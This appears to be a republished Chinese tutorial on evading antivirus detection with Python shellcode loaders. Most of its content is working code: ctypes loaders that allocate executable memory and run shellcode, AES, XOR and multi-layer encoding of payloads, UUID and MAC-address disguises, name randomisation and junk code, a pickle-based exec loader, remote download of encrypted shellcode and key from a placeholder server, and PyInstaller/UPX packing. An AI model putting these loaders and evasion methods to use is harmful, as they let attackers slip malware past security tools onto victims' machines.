python shellcode免杀的常用手法
字数 995 2025-08-22 12:23:36
Python Shellcode免杀技术详解
一、Shellcode加载原理
Python加载shellcode的基本流程遵循以下三个步骤:
- 申请可执行内存:使用VirtualAlloc函数分配具有可执行权限的内存区域
- 写入Shellcode:将shellcode复制到分配的内存中
- 执行内存:创建线程执行内存中的shellcode
1.1 内存分配
使用Windows API函数VirtualAlloc分配可执行内存:
import ctypes
rwxpage = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), # 地址(0表示让系统选择)
ctypes.c_size_t(len(shellcode)), # 大小
ctypes.c_uint(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_uint(0x40) # PAGE_EXECUTE_READWRITE
)
1.2 Shellcode复制
使用RtlMoveMemory函数(相当于memcpy)复制shellcode:
ctypes.windll.kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p, # Destination
ctypes.c_void_p, # Source
ctypes.c_size_t # Length
)
ctypes.windll.kernel32.RtlMoveMemory.restype = None
buffer = ctypes.create_string_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_void_p(rwxpage),
buffer,
ctypes.c_size_t(len(shellcode))
)
1.3 执行Shellcode
使用CreateThread创建线程执行shellcode:
handle = ctypes.windll.kernel32.CreateThread(
None, # lpThreadAttributes
0, # dwStackSize
ctypes.c_void_p(rwxpage), # lpStartAddress
None, # lpParameter
0, # dwCreationFlags
ctypes.byref(ctypes.c_ulong()) # lpThreadId
)
# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
二、Shellcode免杀技术
免杀主要从两个方面入手:
- 对shellcode本身进行处理(加密/编码/混淆)
- 对加载器代码进行处理(混淆/变换)
2.1 Shellcode加密技术
2.1.1 Base64编码
import ctypes
import base64
s = b'...' # base64编码的shellcode
shellcode = base64.b64decode(s)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
2.1.2 AES加密
加密部分:
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
shellcode = b"..."
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')
解密部分:
import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
iv = 'xxx'
key = b'xxx'
ase_shellcode = 'xxx'
iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)
shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))
# 加载shellcode...
2.1.3 多重编码+异或加密
加密脚本:
import string
import base64
import random
from sys import version_info
def encrypt(buf, key):
"""shellcode混淆加密"""
shellcode1 = base64.b32encode(buf) # base32编码
shellcode2 = base64.b16encode(shellcode1) # base16编码
if version_info >= (3, 0):
shellcode3 = shellcode2.hex() # python3
else:
shellcode3 = shellcode2.encode('hex') # python2
# 异或加密
random.seed(key)
shellcode = ''
for i in shellcode3:
shellcode = shellcode + str(ord(i) ^ random.randint(0, 255)) + "."
return shellcode.rstrip('.')
解密脚本:
def decrypt(code, key):
# 异或解密
random.seed(key)
xor_code = code.split('.')
res_code = ''
for i in xor_code:
res_code = res_code + chr(int(i) ^ random.randint(0, 255))
# 三重解码
if version_info >= (3, 0):
shellcode = bytes.fromhex(res_code)
else:
shellcode = res_code.decode('hex')
shellcode = base64.b16decode(shellcode)
shellcode = base64.b32decode(shellcode)
return shellcode
2.2 加载器免杀技术
2.2.1 UUID加载
将shellcode转换为UUID格式:
import uuid
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00..."
if len(buf) % 16 != 0:
replenish_byte = b"\x00" * (16 - len(buf) % 16)
buf = buf + replenish_byte
shellcode = []
for i in range(len(buf) // 16):
bytes_a = buf[i*16:16+i*16]
b = uuid.UUID(bytes_le=bytes_a)
shellcode.append(str(b))
加载执行:
import ctypes
shellcode = ['e48348fc-e8f0-00c8-0000-415141505251', ...]
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)*16, 0x1000, 0x40)
rwxpage1 = rwxpage
for i in shellcode:
ctypes.windll.Rpcrt4.UuidFromStringA(i, rwxpage1)
rwxpage1 += 16
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
2.2.2 MAC地址加载
将shellcode转换为MAC地址格式:
import ctypes
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00..."
if len(buf) % 6 != 0:
replenish_byte = b"\x00" * (6 - len(buf) % 6)
buf = buf + replenish_byte
macmem = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)/6*17, 0x1000, 0x40)
for i in range(len(buf)/6):
bytes_a = buf[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem + i*17)
mac = []
for i in range(len(buf)/6):
d = ctypes.string_at(macmem + i*17, 17)
mac.append(d)
加载执行:
import ctypes
mac = ['FC-48-83-E4-F0-E8', 'C8-00-00-00-41-51', ...]
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(mac)*6, 0x1000, 0x40)
rwxpage = ptr
for i in range(len(mac)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac[i], mac[i], rwxpage)
rwxpage += 6
ctypes.windll.kernel32.VirtualProtect(ptr, len(mac)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
2.2.3 代码混淆
变量名随机化:
import random
import string
class AutoRandom:
def auto_random_str(self, min_length=8, max_length=15):
length = random.randint(min_length, max_length)
return ''.join(random.choice(string.ascii_letters) for x in range(length))
def make_variable_random(shellcodeloader):
shellcodeloader = shellcodeloader.replace("ctypes", AutoRandom.auto_random_str())
shellcodeloader = shellcodeloader.replace("shellcode", AutoRandom.auto_random_str())
shellcodeloader = shellcodeloader.replace("ptr", AutoRandom.auto_random_str())
return shellcodeloader
添加花指令:
w_code1 = """
import random
def partition(test_arr, low, high):
i = (low - 1)
pivot = test_arr[high]
for j in range(low, high):
if test_arr[j] <= pivot:
i = i + 1
test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
return i + 1
def quick_sort(test_arr, low, high):
if low < high:
pi = partition(test_arr, low, high)
quick_sort(test_arr, low, pi - 1)
quick_sort(test_arr, pi + 1, high)
test_arr= []
for i in range(59999):
test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)
"""
2.2.4 反序列化加载
序列化:
import pickle
import base64
shellcodeloader = """
import ctypes,base64,time
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class AAA(object):
def __reduce__(self):
return (exec, (shellcodeloader,))
seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)
print(seri_base64)
反序列化执行:
import base64, pickle
shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX...'
pickle.loads(base64.b64decode(shellcodeloader))
2.3 远程加载技术
将加密后的shellcode和key保存在远程服务器上:
import ctypes
import base64
import random
from sys import version_info
from urllib.request import urlopen
def get_data(url_shellcode, url_key):
"""远程获取shellcode"""
if version_info >= (3, 0):
from urllib.request import urlopen
else:
from urllib2 import urlopen
key = urlopen(url_key).read().decode()
shellcode = urlopen(url_shellcode).read().decode()
return shellcode, key
if __name__ == "__main__":
url_shellcode = "http://ip:8000/shellcode.txt"
url_key = "http://ip:8000/key.txt"
shellcode, key = get_data(url_shellcode, url_key)
shellcode = decrypt(shellcode, key) # 使用前面介绍的decrypt函数
runcode(shellcode) # 使用前面介绍的runcode函数
三、打包与优化
3.1 使用PyInstaller打包
结合UPX压缩壳使用:
pyinstaller -F -w .\shellcode.py --upx-dir D:\upx.exe --clean
3.2 代码压缩
使用python-minifier缩小代码体积:
pip install python-minifier
pyminify .\bypass.py --output bypass-mini.py
四、总结与建议
- Python加载shellcode的免杀方式多样,但生成的exe文件较大
- 推荐结合多种技术使用,如加密+混淆+远程加载
- 对于更高效的免杀,建议考虑使用C#或Go语言实现
- 云沙箱通常会将py2exe/pyinstaller生成的exe标记为可疑,需特别注意
五、参考资源
- 先知社区原帖:python shellcode免杀的常用手法
- PyObfuscate代码混淆工具:https://pyob.oxyry.com/
- UPX压缩工具:https://github.com/upx/upx